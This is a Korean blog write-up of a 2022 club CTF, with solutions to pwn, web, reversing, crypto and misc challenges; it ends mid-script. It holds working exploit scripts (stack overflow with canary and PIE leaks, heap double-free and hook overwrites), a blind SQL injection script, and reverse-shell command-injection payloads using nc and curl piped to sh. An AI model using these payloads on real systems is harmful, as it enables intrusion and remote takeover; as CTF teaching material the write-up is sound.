View
Security Factorial 동아리에서 진행한 내부 CTF
2022.2.5 00:00 ~ 2022.2.7 00:00 ( 48h )
가능한 모든 문제를 도전하다 보니까, 문제를 되는대로 푼 것이 꽤 많은 것 같다.
출제자 입장에서는, "어? 이 XX, 이거 왜 이렇게 풀었지?" 하는 게 있을 수 있는데,
intended write up을 짧게라도 작성해서 올려주면 큰 도움이 될 것 같다..~

Pwn
- Happy new year!
0x20 크기의 버퍼에 0x200을 총 3번 쓸 수 있는 문제이다.
또한, gift라는 좋은 함수도 존재했기 때문에, 왜 이런 문제를 내나 싶었는데...
보호 기법을 확인해보니, Canary에 PIE까지 걸려 있었다. 즉, 첫 번째의 read 함수에서 canary를 leak 하고, 두 번째의 read 함수에서 return address에 작성된 main 함수의 주소로 PIE base를 구한 뒤에, 세 번째 read 함수에서 마침내 gift 함수를 RET에 적어주면 된다.
from pwn import *
p = process('./Happy_new_year')
p.sendafter(">> ", "A"*0x20 + 'B')
p.recvuntil("B")
canary = u32('\x00' + p.recv(3))
log.info("canary : " + hex(canary))
p.sendafter(">> ", 'A'*0x30)
p.recvuntil("A"*0x30)
pie = u32(p.recv(4)) - 0xafa
gift = pie + 0x9B0
log.info("PIE : " +hex(pie))
payload = 'A'*0x20 + p32(canary) + 'B'*0xc + p32(gift)
p.sendafter(">> ", payload)
p.interactive()
FLAG: SSF{9o0D_luCK_TO_y0u}
- RPS
you에서 com을 뺀 값이 1이면, 점수(score)를 얻어서, 점수가 5가 되면, 이름을 새길 수 있는 취약한 함수 input_rank() 함수가 호출된다. input_rank 함수는 0x20 버퍼에 0x64(100) 만큼 read 할 수 있는 함수이다. 즉, BOF가 발생한다.
마침 canary도 없고, PIE도 걸려있지 않기 때문에 문제에서 제공한 cheatkey 함수(= one_gadget)를 통해서, 익스 하면 될 것 같다. 그렇다면, srand(time(NULL)) 이후에 호출되는 rand 함수를 예측하는 것이 중요한 문제라고 할 수 있겠다!
https://translucent-voyage-ece.notion.site/CEO-Game-write-up-5e18f928498d48cd9ba9c56fb9cd36a6
이것과 비슷한 문제를 2021년 여름 SFCTF에서 내가 출제했었다. 그래서, 무난하게 문제를 풀 수 있었다. 익스 코드에서 사용하는 ctypes는 외부 함수 라이브러리를 가져와서 사용할 수 있는 파이썬 모듈이다.
import ctypes
LIBC = ctypes.CDLL("/lib/x86_64-linux-gnu/libc-2.23.so")
LIBC.srand(LIBC.time(0))
numbers = []
cnt = 0
while cnt < 5:
num = (LIBC.rand() % 45) + 1
if num not in numbers:
numbers.append(num)
cnt+=1
p = process('./RPS')
p.sendlineafter(": ", '2')
p.sendlineafter(":", '5')
p.sendlineafter(": ", '1')
for i in range(5):
num = numbers[i] % 3 + 1
p.sendlineafter("(0) ", str(num))
one_gadget = 0x4011B2
payload = 'A' * 0x20 + 'B'*0x8 + p64(one_gadget)
p.sendafter("Clear!", payload)
p.interactive()
FLAG: SSF{Ea3y_Rock_Paper_SCissors}
- Send Message
Msg(0xF8)와 padding(0x100), 그리고 crc(0x8)을 입력할 수 있고, show에서는 그 값들을 파싱해서 출력할 수 있다.
처음에 message에 입력할 수 있는 최대 길이인 0xF8만큼 'A'를 입력하고, 이를 바로 show 메뉴에서 출력해줬다. 물론, crc 값도 'B'*8로 꽉 채워서 출력하였다. 그런데, 에구머니나, 'A'만 있어야 할 곳에서 이상한 값을 함께 얻을 수 있었다. 확인해보니, _start 함수의 주소였기 때문에, 이를 통해, PIE base를 구할 수 있었다. 그러나, 중요한 것은 왜 이런 일이 발생했는지 아는 것이기 때문에, 함수를 다시 봤다.
아까 입력한 Msg('A'*0xF8)는 crc('B'*8)와 인접하고 있다.
문제가 되는 것은 snprintf 함수의 반환 값이다.
다른 함수들과는 다르게, snprintf 함수는 write 한 크기를 반환하는 것이 아니다. snprintf는 2번째 함수의 인자(크기 제한) 때문에 파싱해서 얻은 문자열이 중간에 잘릴(truncated) 수 있다. 이때, 공간이 충분했다면 write 할 수 있었던, 전체 문자열의 길이를 함수의 반환 값으로 한다는 점이 중요하다.
snprintf 함수에서는 Msg('A'*0xF8)과 crc('B'*0x8). 총 0x100 크기를 인식했기 때문에, 'A' 이후에 위치한 값까지 함께 출력된 것이다. 0xF8의 마지막 바이트는 널로 마무리했기 때문에, '\x00'이 출력되는 것까지 합당하고, crc는 buffer[0x100]에 쓰였을 것이기 때문에, 그 사이에 위치한 _start 함수가 출력된 것이다.
그럼, OOB가 발생하는 것을 확인했고, CRC 값을 RET에 덮는 방법만 생각하면 된다.
이번에도 win 함수가 존재했기 때문에, 이를 RET에 덮으면 좋을 것 같다. 그런데, 단순하게 p64(win)을 CRC에 덮어버리면, crc의 8바이트 중에서 2바이트가 남기 때문에, "%s"에서 인식하는 문자열의 길이가 0xFE로 끝나게 된다. 따라서, crc는 모든 문자열을 꽉 채워서 쓰되, 그 뒤에 또 인접하고 있는 padding을 잘 이용해서 offset을 맞춰서 RET를 덮어쓰면 문제가 풀린다.
from pwn import *
def pad(m):
p.sendlineafter("> ", '1')
p.sendafter("padding : ", m)
def msg(m):
p.sendlineafter("> ", '2')
p.sendafter("message : ", m)
def show(crc):
p.sendlineafter("> ", '3')
p.sendafter(": ", crc)
p = process('./sendMsg')
win_offset = 0xEFF
msg('A'*0xf8)
show('B'*8)
p.recvuntil("A"*0xF7 + '\x00')
_start = u64(p.recv(8))
pie = _start - 0xa80
win = pie + win_offset
log.info("PIE : " + hex(pie))
log.info("breakpoint : " + hex(pie + 0xBCC))
pad('A'*0x16)
show('A'*2 + p64(win)[:6])
p.sendlineafter("> ", '4')
p.interactive()
FLAG: SSF{snprintf Vu1n3raB1Lity 1N tH3 r3Al W0rLd..!!! :3 }
- SKISHOP
IDA에서 디컴파일해준 코드를 보면, 살짝 어질어질하지만, 결국 목표는 passwd(0x6020D0)에 "SF" 값을 적는 것이다. Wow 함수는 system("/bin/sh")를 호출하는 함수이다.
product를 구입한 횟수가 7번 이상이 되면, VIP 함수에 접근할 수 있다. 그런데, 수중엔 5000원밖에 없기 때문에 비싼 스키 장비(최소 2000원)를 구입하기 어렵다고 생각하였지만,
number에서 음수를 입력할 수 있다. 따라서, 음수 개의 상품을 구매할 수 있기 때문에, 이를 우회할 수 있다.
그렇게 VIP 함수에 접근하게 되면, 그때부터 진짜 익스가 시작된다.
struct Product
{
char *product_name;
_QWORD number;
_QWORD product_index;
struct Product *next;
};
내가 분석한 Product 구조체는 위와 같다.
그리고, 이미 구입한 상품을 판매(free)할 때, 해당 상품의 인덱스가 1이 아니라면, product->next를 0으로 초기화하지 않는다. 이를 이용해서, double free를 만들고자 하였다.
때마침, items의 다음에 위치한 something이라는 전역 변수가 0x30 값을 가지고 있기 때문에, fastbin attack으로 이어질 수 있는 방법이기도 했다.
상품을 판매할 때, 그 뒤에 연결된 청크 리스트들의 index 값이 1씩 떨어지기 때문에, 이를 고려해서 익스 해야 한다.
해당 조건만 있으면, 익스하기가 상당히 어려웠을 수 있지만, VIP들은 상품의 인덱스 값을 원하는대로 만들 수 있기 때문에 이 함수가 큰 도움이 되었다. 또한, HEAD 부분을 방금 구매한 상품으로 맞춰주는 것도 차후 익스에 사용된다.
빨강, 초록, 파랑 순서로 free 된 상태이다. 이때, 연결 리스트의 HEAD는 0x7eb030이다.
VIP 함수를 통해서, 인덱스를 3으로 만들고, 이후에 연결된 next chunk의 하위 1바이트를 0x10으로 바꿔서, 연결 리스트가 이미 해제한 청크를 가리키도록 만들었다. 이후에 1번 index를 해제하면, 성공적으로 double free가 완성된다...
원래는 삽질하느라 코드가 더 길었는데, 정리하고 보니 훨씬 간단해졌다ㅋㅋ
from pwn import *
def buy(idx, num):
p.sendlineafter(">", '1')
p.sendlineafter(">", str(idx))
p.sendlineafter(">", str(num))
def sell(idx):
p.sendlineafter(">", '3')
p.sendlineafter(">", str(idx))
def buy_ano(name, m):
p.sendlineafter(">", '4')
p.sendlineafter(">", '2')
p.sendlineafter(">", name)
p.sendlineafter(">", '1')
p.sendafter(">", m)
def memo(m):
p.sendlineafter(">", '4')
p.sendlineafter(">", '1')
p.sendafter(">", m)
p = process('./SKISHOP')
wow = 0x400A7A
for i in range(9):
buy(1, -1)
sell(1)
sell(2)
sell(2)
buy_ano('A'*8, p64(3) + p8(0x10))
sell(1)
memo(p64(0x6020c0))
memo(p64(0))
memo(p64(0))
memo('SF')
p.interactive()
FLAG: SSF{W0oW~y0u're_Aw50me_b}
- Int Array
Hint1: https://github.com/lattera/glibc/blob/master/malloc/malloc.c#L3444
Hint2: HIDDEN() 기능을 사용하면 어떤 작업들이 실행되나요?
세 개의 함수(HIDDEN 함수 제외)를 분석한 결과는 다음과 같다.
ALLOC()
{
parray 최대 10개 할당 가능
parray[parray_cnt] = calloc(arr_size, 8); // arr_size * 8 크기
parray_intLen[parray_cnt] = arr_size;
이후에, arr_size만큼 scanf("%lu")로 입력받은 뒤, 다시 출력
}
calloc 함수 때문에 메모리 공간이 0으로 초기화된다는 것이 문제였다.
SHOW()
{
index 0부터 9까지 지정 가능
parray[index] 값이 존재하면 1씩 증가시키면서 [BLIND]를 출력함
parray_showcnt[index]가 2이하면 조회 가능, 즉, 최대 3번 조회 가능
}
또한, ptr에서 oob(기존 사이즈보다 1 크게 접근)가 터지긴 하는데, 이것을 어디다가 써야 할 지도 문제였다.
FREE()
{
idx[0, 9]
if (parray[idx])
free(parray[idx])
}
그나마 다행인 것은, FREE 함수가 parray[idx]를 초기화하지 않기 때문에 double free가 쉽게 만들어진다는 것이었다.
그리고, 힌트를 보고 풀이를 깨달았다.
예전에 calloc 함수가 할당하는 청크의 mmap flag가 세팅되어 있으면, 0으로 초기화하지 않는다고 어디서 들었던 것 같은데, 그게 여기서 쓰이는 것이었다. 즉, 이전 청크를 홀수 개의 정수 배열로 만들고, show 함수를 실행시키면, 인접한 다음 청크의 mmap flag가 세팅되어, 0으로 초기화되지 않는다.
그러나 이것만으론 불충분한데, 바로 scanf로 입력받을 때, 값을 입력하지 않고 넘어가는 방법이 있다. 이는 입력 버퍼에 대한 것으로, 구글에 "scanf 카나리 우회"라고 검색하면 맨 위에 "그 블로그"가 보인다.
여하튼, 이를 통해, calloc을 초기화하지 않고, 적힌 값을 그대로 leak 할 수 있다.
문제에서 제시하는 HIDDEN 함수는 urandom 디바이스를 열자마자 닫는 함수이다.
이때, 할당되는 파일 구조체와 그것의 입력 버퍼가 힙에 모두 할당됐다가 사라진다. 그런데, 그때, 입력 버퍼가 large bin에 해당할 정도로 크기가 큰 청크이기 때문에, fastbin에 속한 친구들이 병합(consolidate)되어서 small bin에 들어가게 된다. 이를 이용해서, libc leak을 수행할 수 있다.
그냥 large bin이 해제되고 남는 main_arena 값으로 libc leak을 하면 되지 않느냐!??
따라서, "fastbin 3개 할당 -> 가운데 청크 free -> HIDDEN(consolidate) -> leak with calloc"과 같은 순서로 libc leak을 진행했다. 그리고, double free를 만들어, __malloc_hook을 one_gadget으로 덮어서 익스하였다.
from pwn import *
local = 0
if local == 1:
libc_path = '/home/brwook/ctf/sf_2022_winter/intArray/intArray_libc.so.6'
p = process('./intArray_origin')
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
else:
libc_path = "./intArray_libc.so.6"
#p = process('./intArray', env={"LD_PRELOAD":"./intArray_libc.so.6"})
p = remote('123.123.123.123', 31001)
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
def alloc(cnt, numbers):
p.sendlineafter("> ", '1')
p.sendlineafter("> ", str(cnt))
for i in numbers:
p.sendline(str(i))
p.recvuntil("Entered Data : ")
def show(idx):
p.sendlineafter("> ", '3')
p.sendlineafter("> ", str(idx))
def free(idx):
p.sendlineafter("> ", '2')
p.sendlineafter("> ", str(idx))
def hidden():
p.sendlineafter("> ", '\x83')
libc = ELF(libc_path, False)
dummy = [1 for _ in range(13)]
alloc(13, dummy)
alloc(13, dummy)
alloc(13, dummy)
free(1)
hidden()
free(1)
show(0)
alloc(13, [1] + ['+'] + [1 for _ in range(11)])
p.recv(2)
hook = int(p.recvuntil(" "), 10) - 184 - 0x10
libc_base = hook - libc.symbols['__malloc_hook']
magic = libc_base + one_gadget[1]
target = hook - 35
log.info("libc_base : " +hex(libc_base))
log.info("target : " + hex(target))
free(0)
free(2)
free(0)
alloc(13, [target] + dummy[:-1])
alloc(13, dummy)
alloc(13, dummy)
low = (magic & 0xFFFFFFFFFF) << 24
high = magic >> 40
log.info(hex(low))
log.info(hex(high))
alloc(13, [1, 2, low, high] + [0 for _ in range(9)])
p.sendlineafter("> ", '1')
p.sendlineafter("> ", '1')
p.interactive()
FLAG: SSF{aM4z1ng P4yl0aD W17h 1nT3geRsssssss}
- sfpad
Hint: Tcache
IDA에서 내가 입력한 구조체를 제대로 파싱해주지 않아서 좀 화가 났던 문제이다. 그러나, 출제자분께서 C언어 코드를 제공해주셨기 때문에, 행복 익스할 수 있었다.
구현된 모든 함수(View, Edit, Delete)에서 OOB가 발생해서, list_note(0x60 chunk)를 기준으로 임의의 위치에 힙 주소를 남기거나, 조회할 수 있었다.
먼저, list_note의 위치, 즉, 힙 주소를 leak 한 방법은 User 배열 덕분이었다. sfpad는 매번 User를 printf("%s")로 출력해주는데, User와 list_note가 메모리 상에서 인접해 있기 때문에, User를 0x20만큼 꽉 채우면 힙 주소를 구할 수 있다.
둘째로, User와 list_note의 offset을 구해서, View 함수로 해당 위치를 조회했다. User는 0x20만큼 원하는 대로 값을 쓸 수 있는 공간이기 때문에, 괜찮은 방법이었다고 생각한다.
이때, 주의해야 하는 점은, 조회한 NOTE 구조체의 User와 Password 조건을 우회해야 한다는 것인데, 나는 다음과 같이 메모리를 구성하여 이 조건을 만족했다.
어,, 지금 보니까, Password 시작 바이트가 NULL이기만 하면, 조건 우회가 될 것 같긴 한데, 일단 위와 같이 구현했다.
그리고, 0x4070c8을 조회(View)하게 되면, Contents 값이 출력되고, 이는 printf_got 값을 담고 있다.
따라서, libc leak을 성공적으로 수행할 수 있다.
마지막으로, tcache_perthread_struct를 Edit 함수로 덮어서, struct NOTE(0xe0 chunk)가 __free_hook에 할당될 수 있도록 만들었다!
이를 system 함수로 덮고, Title이 "/bin/sh"인 NOTE를 해제하면, system("/bin/sh")가 수행된다~
from pwn import *
def setUser_(name):
p.sendafter(b">>> ", name)
def view(idx):
p.sendlineafter(b">>> ", b'1')
p.sendlineafter(b">>> ", str(idx).encode())
def edit(idx, title, pw, t_toggle=0, p_toggle=0):
p.sendlineafter(b">>> ", b'2')
p.sendlineafter(b">>> ", str(idx).encode())
if t_toggle:
p.sendafter(b"Title >>> ", title)
if p_toggle:
p.sendafter(b"Password >>> ", pw)
def editline(line, msg):
p.sendlineafter(b">>> ", b'1')
p.sendlineafter(b">>> ", str(line).encode())
p.sendafter(b">> ", msg)
def exitedit():
p.sendlineafter(b">>> ", b'0')
def setpw(pw):
p.sendlineafter(b">>> ", b'5')
p.sendafter(b">>> ", pw)
def setUser(name):
p.sendlineafter(b">>> ", b'4')
setUser_(name)
def delete(idx):
p.sendlineafter(b">>> ", b'3')
p.sendlineafter(b">>> ", str(idx).encode())
local = 1
if local == 1:
p = process('./sfpad')
libc_path = './libc-2.31.so'
else:
p = remote('123.123.123.123', 9008)
libc_path = './libc-2.31.so'
libc = ELF(libc_path, False)
# Heap leak
setUser_(('A'*0x20).encode())
p.recvuntil(b"A"*0x20)
list_note = u64(p.recvline()[:-1].ljust(8, b'\x00'))
heap_base = list_note - 0x2a0
log.info("list_note : " + hex(list_note))
# offset calculate ( from list_note to User )
User = 0x4070c0
printf_got = 0x405060
setUser(p64(0) + p64(User - 0x40) + p64(printf_got))
offset = (list_note - (User+8))//8
log.info("offset : " + str(offset - 1))
# libc leak
view(-offset + 1)
p.recvuntil(b"=\n\n")
libc_base = u64(p.recv(6) + b'\x00\x00') - libc.symbols['printf']
system = libc_base + libc.symbols['system']
binsh = libc_base + list(libc.search(b'/bin/sh'))[0]
free_hook = libc_base + libc.symbols['__free_hook']
log.info("libc base : " +hex(libc_base))
# fastbin attack
edit(-53, p64(free_hook), 'BBBBBBBB', 1)
exitedit()
edit(-78, 'A'.encode(), '', 1)
exitedit()
edit(1, '/bin/sh\x00'.encode(), '', 1)
exitedit()
# __free_hook overwrite
edit(2, p64(system), '', 1)
exitedit()
delete(1)
p.interactive()
FLAG: SSF{0v32w2173_h34p}
- simple_pwn, simple_kpwn
내가 낸 문제 2개인데.. 전혀 simple하지 않았던 것 같다. 아무도 풀지 않았다...
이것에 대한 라업은 추후에 포스팅해야겠다!
Web
- 맛있는 쿠키?
힌트들은 위와 같다.
구글에 "cookie and chinese food"라고 검색하니까 fortune cookie가 나왔고, 이를 답에 입력하니 거의 맞았다고 한다.
알고 보니, 쿠키까지 fortune으로 맞춰줘야 했다.
FLAG: SSF{cookie_is_very_very_delicious}
- SFCTF24
그리고 힌트는 위와 같다.
조선의 4번째 왕이고, 대문자가 없다고 한다. 그러면, "sejong"이다.
그런데, textbox에 길이 제한이 있다고 하는데, 이는 "sejong"이 ""로 바뀌기 때문에, "sesejongjong"과 같이 입력해줘야 하는데, 이 때문에 존재하는 조건이다.
이는 html에서 maxlength를 수정해주면 된다.
아니면, burp suite와 같은 프록시 툴로 값을 보내기 전에 수정해줘도 된다~
FLAG: SSF{SejongUniv}
- Ping Service
적절한 IP를 입력해주면, 해당 IP에 ping을 보내주는 서비스이다.
ping 하면 생각나는 것이 command injection이었기 때문에, 여러 메시지를 보내봤다.
그 결과, '&'와 ';'가 필터링되어 있음을 알게 됐고,
sh를 입력했을 때, 서버가 터지는 것을 보고, command injection이라고 확신했다.
command injection cheatsheet를 검색해서 살펴본 결과, '|'를 이용해서 커맨드를 실행할 수 있음을 알았고,
reverse shell cheatsheet도 찾아서, 여러 개를 입력해봤다.
| nc -e /bin/bash IP PORT
그중에서 위 리버스 쉘 코드를 사용했고, FLAG를 읽을 수 있었다.
FLAG: SSF{B11ND_ComMANd_INjec7i0n!}
- flag
Hint1: blind command injection
Hint2: curl
서버가 닫혀서 사진은 못 구했지만, URL의 끝에, GET 방식으로 cmd 변수에 값을 줘서 명령을 실행시키는 문제였다.
걸핏하면 Internal Server Error가 나길래, 처음엔 이거 제대로 된 거 맞나 싶었는데,
힌트를 보고 curl로 리버스 쉘을 따는 것임을 알게 되었다.
curl https://reverse-shell.sh/IP:PORT | sh
그중에서 reverse-shell.sh에서 제공하는 리버스 쉘 코드를 사용했고, 운 좋게 잘 먹었다.
쉘을 열고 들어가 보니, "password=merrong012343210"라는 파일이 있었고,
이를 key 값으로 하여, flag 파일을 AES 복호화하였다.
from Crypto.Cipher import AES
ctx = ''
with open("flag", "rb") as f:
ctx = f.read()
key = 'merrong012343210'
cipher = AES.new(key, AES.MODE_ECB)
FLAG = cipher.decrypt(ctx)
print("[*] FLAG : {}".format(FLAG.decode()))
print(len(FLAG.decode()))
FLAG: SSF{it_is_S0_EZ}
- admin is cool
id와 pw를 입력할 수 있는 웹페이지가 나왔다.
이제야 웹 문제를 푸는 기분이 나서, 보자마자 기분이 좋았다.
가장 유명한 sql injection 쿼리인 '||1=1#를 pw에 입력했고, 그 결과는 다음과 같다.
성공했는지 모르겠다고 한다.
burp suite로 확인해 보니, POST방식으로 전달되는 인자의 이름이 userid와 userpw였기 때문에 다음과 같이 보냈다.
'||userid='admin'#
그럼에도 결과는
이때, admin의 userid와 userpw를 모두 정확히 입력해야 문제가 풀릴 것이라 생각했다.
"log-in succeed?"를 blind Injection의 근거로 삼고, 파이썬으로 익스 코드를 짰다.
import requests
URL = 'http://152.70.244.67/ctf/process_login.php'
# find length : 32
length = 0
for i in range(0x30):
data = {'userid':'', 'userpw':"'||length(userpw)={}#".format(i)}
req = requests.post(URL, data=data)
if "log-in succeed?" in req.text:
length=i
print("[*] length: {}".format(i))
break
ans = ''
for i in range(1, length+1):
for j in range(32, 127):
data = {'userid':'', 'userpw':"'||mid(userpw,{0},1)='{1}'#".format(i, chr(j))}
req = requests.post(URL, data=data)
#print(j)
if "log-in succeed?" in req.text:
print("[*] {}: {}".format(i, chr(j)))
ans += chr(j)
break
print(ans)
그렇게 발견한 userpw를 입력하면,
FLAG: SSF{q2oir98f3k!@9*#4*(dkwifhglkr39r8se0kd}
Reversing
- Recursive
문제는 정말 간단하다. give_me_ret 함수의 반환 값으로 "flag"를 파싱하여, 출력하는 것이다.
처음엔 ulimit -s로 스택 크기를 늘려서 재귀 함수를 충분히 담을 수 있을 정도의 스택을 프로세스에게 할당하려고 했는데, 실행이 너무.. 오래 걸려서 딴짓 좀 하다 보니, 다른 방법으로 res, 즉, give_me_ret 함수의 반환 값을 구할 수 있겠다 싶었다.
방법은 두 가지가 존재한다.
- output[0]과 output[2]를 역연산해서 res를 구하자
- give_me_ret에서 반환되는 값을 계산해서 res를 구하자
2번이 더 제목이랑 맞는 것 같아서, 2번으로 먼저 해 보려고 했다.
__int64 __fastcall give_me_ret(__int64 n_13371337, char **argv)
{
__int64 r1, r2, r3;
r3 = 0;
if (num == 0) return 1;
else if (num < 0 ) return 0;
for(int i=1; i<=3; i++)
{
r1 = give_me_ret(num - i);
r2 = (0x10001 * (r1 + r3)) >> 64;
r3 += r1 + (-1) * ((((r1 + r3 - r2) >> 1) + r2) >> 47);
}
return r3;
}
r1, r2, r3를 세 번이나 연산에 쓰는 꼬라지를 보고, 1번이 훨씬 더 쉬울 것 같다는 느낌이 들었다.
그래서 방향을 틀었다.
우리는 플래그의 형식, 즉, "SSF{"를 이미 알고 있기 때문에, 이 값을 역산해서 res의 값을 구하면 된다.
1133862297 # S
1133862297 # S
962223635 # F
1661981257 # {
...
"res % 13371337"을 x1, "res % 73317331"을 x2라고 하면,
플래그 값은 x1 * ptr[i] + x2이다.
이제 중학교 때 배운 일차방정식을 활용할 시간이다.
변수가 2개면, 식도 2개가 필요하다.
0x7B * x1 + x2 = 1661981257
0x53 * x1 + x2 = 1133862297
40*x1 = 528118960
x1 = 13202974
1095846842 + x2 = 1133862297
x2 = 38015455
그렇게 구한 x1과 x2로 구한 값을 대조해보면서, 브루트포싱으로 플래그를 추출했다.
#include <stdio.h>
int main()
{
FILE *fd;
fd = fopen("./output", "r");
long long unsigned arr[39];
for(int i=0; i<39; i++)
fscanf(fd, "%lld", &arr[i]);
printf("FLAG: ");
for(int i=0; i<39; i++)
{
for(int j=0x20; j < 0x7F; j++)
{
if (13202974 * j + 38015455 == arr[i])
{
printf("%c", j);
}
}
}
printf("\n");
return 0;
}
FLAG: SSF{Dynamic Programming is important..}
Crypto
- Vigenere
비즈네르 암호는 평문과 키가 있을 때, 키만큼 평문을 밀어서 암호문을 만드는 방식이다.
예를 들어, "AAAA"가 평문이고, "AB"가 키라면, 암호문은 "ABAB"가 된다.
나는 다음과 같이, 익스 코드를 짰다.
import string
def encrypt(p, k):
cipher = ''
non_alpha = 0
offset_k = [ord(i) - ord('a') for i in k]
for i in range(len(p)):
if p[i] in string.ascii_lowercase:
offset_p = (ord(p[i]) - ord('a')) % 26
x = (offset_p + offset_k[(i - non_alpha)%len(k)])%26
x += ord('a')
cipher += chr(x)
else:
non_alpha += 13
cipher += p[i]
return cipher
def decrypt(c, k):
plain = ''
offset_k = [ord(i) - ord('a') for i in k]
non_alpha = 0
for i in range(len(c)):
if c[i] in string.ascii_lowercase:
offset_c = (ord(c[i]) - ord('a')) % 26
x = (offset_c - offset_k[(i - non_alpha)%len(k)])%26
x += ord('a')
plain += chr(x)
else:
non_alpha += 13
plain += c[i]
return plain
p1 = "cce{abcdefghijkl}"
c1 = "xkk{eoguihukmesr}"
key = ''
for i, j in zip(p1, c1):
if i in string.ascii_lowercase and j in string.ascii_lowercase:
key += chr((ord(j) - ord(i)) % 26 + ord('a'))
key = key[:-3]
print("[*] key is : {}".format(key))
p2 = "sfctffebfifthtofebsixtheverybodyctffighting"
c2 = "nnixsjvfhwixcbujrfjmzhkiqmxcosucehijdonxvrx"
c3 = "nal{eoesedofhzlkjtlznkxnphvutdvjxviyasfecm}"
answer = decrypt(c3, key)
print(answer.upper())
FLAG: SSF{ABABABACDEDEFGHIJIJKLMNOPQRSTTUVWXXYYZ}
- sqrt-game
Hint: Tonelli-Shanks Algorithm
from Crypto.Util.number import *
from random import randint
import sys
FLAG = "SSF{This is FAKE FLAG!!}"
def chall(x, stage, prime, ff):
y = x
for _ in range(stage):
y = pow(y^ff, 2, prime)
return [x, y]
def main():
stage = 30
for i in range(1, stage+1):
prime = getPrime(600)
x = randint(1, 2**400) # find this!
ff = randint(1, 2**64) # it makes you more happy ;)
ans, out = chall(x, i, prime, ff)
print("[*] chall - {}".format(i))
print("prime : {}".format(prime))
print("ff : {}".format(ff))
print("out : {}".format(out))
print("Input Answer")
sys.stdout.flush()
user_input = sys.stdin.readline().strip()
try:
user_input = int(user_input)
except:
print("Your input contains non-digit letters")
sys.stdout.flush()
exit(-1)
if user_input == ans:
if i == stage:
print("Nice! Here is flag {}".format(FLAG))
else:
print("Good! Next challenge")
sys.stdout.flush()
else:
print("Wrong! Try again.")
sys.stdout.flush()
exit(-1)
if __name__ == '__main__':
main()
이는 문제에서 제공한 chall.py이다.
처음에는 입력하는 부분을 보고 python2 input 취약점이 생각나서, 편법 좀 써 볼까 하고, "import('os').system('/bin/sh'"를 넣어봤는데 당연히 안 됐다.
코드를 보면, 600비트의 소수인 prime과 400비트의 정수 x, 64비트의 정수 ff로, chall() 함수를 호출한다. chall 함수에서는 modulo prime에서, x^ff를 stage만큼 제곱하여, 이를 반환한다. 우리는 그렇게 반환된, 즉, 여러 번 제곱된 값을 통해서, 원래 인자인 x를 맞히면 되는 것이다.
힌트로 제공된 Tonelli-Shanks Algorithm에 대해서, 나는 다음 3개의 사이트를 참고했고, 여백이 부족해서 여기 정리하지는 않겠다. (절대 제대로 이해 못 한 거 아님)
yubin choi, Introduction and Proof of Tonelli-Shanks Algorithm
익스 코드는 다음과 같다.
from pwn import *
from rkm import tonelli_shanks
def main():
p = process(['python3', 'chall.py'])
ans = 0
for stage in range(1, 31):
print(stage)
p.recvuntil("prime : ")
prime = int(p.recvline(), 10)
p.recvuntil("ff : ")
ff = int(p.recvline(), 10)
p.recvuntil("out : ")
out = int(p.recvline(), 10)
y = out
candidates = [y]
tmp = []
for _ in range(stage):
for i in range(len(candidates)):
res = tonelli_shanks(candidates[i], prime)
if res == -1:
continue
tmp.append(res ^ ff)
tmp.append((prime - res) ^ ff)
candidates = tmp
tmp = []
for e in candidates:
if e < 2**400:
print(e)
p.sendlineafter("Answer\n", str(e))
log.info("answer : {}".format(e))
break
p.interactive()
if __name__ =="__main__":
main()
FLAG: SSF{O-oooooooooo AAAAE-A-A-I-A-U}
Misc
- 청사진을 얻어라!
Hint1: 메시지가 되는 파일을 특정 파일에 숨기는 스테가노그래피라는 기법이 있다
Hint2: 청사진은 사진 파일이다.
Hint3: 각 파일 포맷은 고유의 파일 시그니쳐를 지닌다. 해당 파일의 시그니쳐를 자세히 살펴보면 이상한 점이 보일 것이다.
OpenStego라는 스테가노그래피 툴이 있다.
그 툴에서 Extract data 란에서, Input stego file에 제공된 Image.png를 넣어주고, Output folder for message file에는 출력을 내보낼 디렉토리를 선택하면 된다.
그러면 blueprint라는 파일이 나오는데, 이것의 헤더를 살펴보면 어딘가 살짝 뻑나 있다.
이 문제에서 삽질하던 사람들은 JPG 파일의 시그니처쯤은 눈에 익숙할 것이고, 그러면 위 시그니처에서 어색함을 느끼게 된다.
바로, JPG 파일의 시그니처에서 순서만 살짝 달라져있기 때문이다.
따라서, 위를 D8로 바꿔주고 jpg로 이름을 바꾸면?
FLAG: SSF{5T3GAN0GR4PHY}
- Rail Fense
Rail Fence Cipher라는 것이 존재한다.
간단히 설명하자면, 평문이 "HOWRYOU?"이고, 키(깊이)가 2일 때, 다음과 같이 암호화하는 것을 의미한다.
H W Y U
O R O ?
따라서, 암호문은 HWYUORO?가 된다.
이러한 방식으로 암호화된 rail_fense.txt를 복호화하면 "플래그와 닮은 무언가"가 나온다.
복호화 코드는 다음과 같다.
'''
Transposition Chiper
Rail Fence Decrypt Service
'''
def solve(crypt, key):
key = int(key)
crypt = list(crypt)
mes = ''
index = []
block_size = []
idx = 0
flag = 0
# block size
for i in range(len(crypt)):
#print(block_size)
if len(block_size) <= idx:
block_size.append(1)
else:
block_size[idx] += 1
# idx up and down between top and bottom
if idx == key-1:
flag = 1
elif idx == 0:
flag = 0
if flag == 1:
idx -= 1
elif flag == 0:
idx += 1
#print(block_size)
index = [0 for _ in range(len(block_size))]
idx = 0
flag = 0
# get char
for i in range(len(crypt)):
tmp = 0
for j in range(idx):
tmp += block_size[j]
tmp += index[idx]
index[idx] += 1
mes += crypt[tmp]
if idx == key-1:
flag = 1
elif idx == 0:
flag = 0
if flag == 1:
idx -= 1
elif flag == 0:
idx += 1
return mes
if __name__ == "__main__":
print "===Rail Fence Service==="
print "[*] Input Crypto MSG"
crypt = 'SOIFYUALCOKRFTDNWEFON'
print "[*] Input Key"
key = raw_input('> ')
print "[*] "+solve(crypt,key)
코드를 내가 온전히 짠 게 아니라, 어디 인터넷에 있는 거 주워온 건데, 출처를 모르겠다...
Rail Fence 암호를 복호화하는 방법은 key 값을 브루트포싱하면서, 평문 같은 것을 찾으면 된다.
SFCTF{DOYOUKNOWRAILFEN}라는 플래그 비슷한 무언가가 나온다.
여기서 끝나면, Crypto 문제이지, misc 문제가 아니기 때문에 삽질을 좀 해야 한다.
FLAG: SFCTF{DO_YOU_KNOW_RAILFENSE}
- LOTTO
서버에 접속하면 로또를 맞히라고 한다.
포너블에서 RPS(srand(time(NULL))을 맞히는 문제)를 푼 사람은 이걸 보고 "어?" 하는 느낌이 든다.
그리고 혹시나 싶어서, 같은 코드를 적용해보면...
익스 코드는 다음과 같다.
import ctypes
from pwn import *
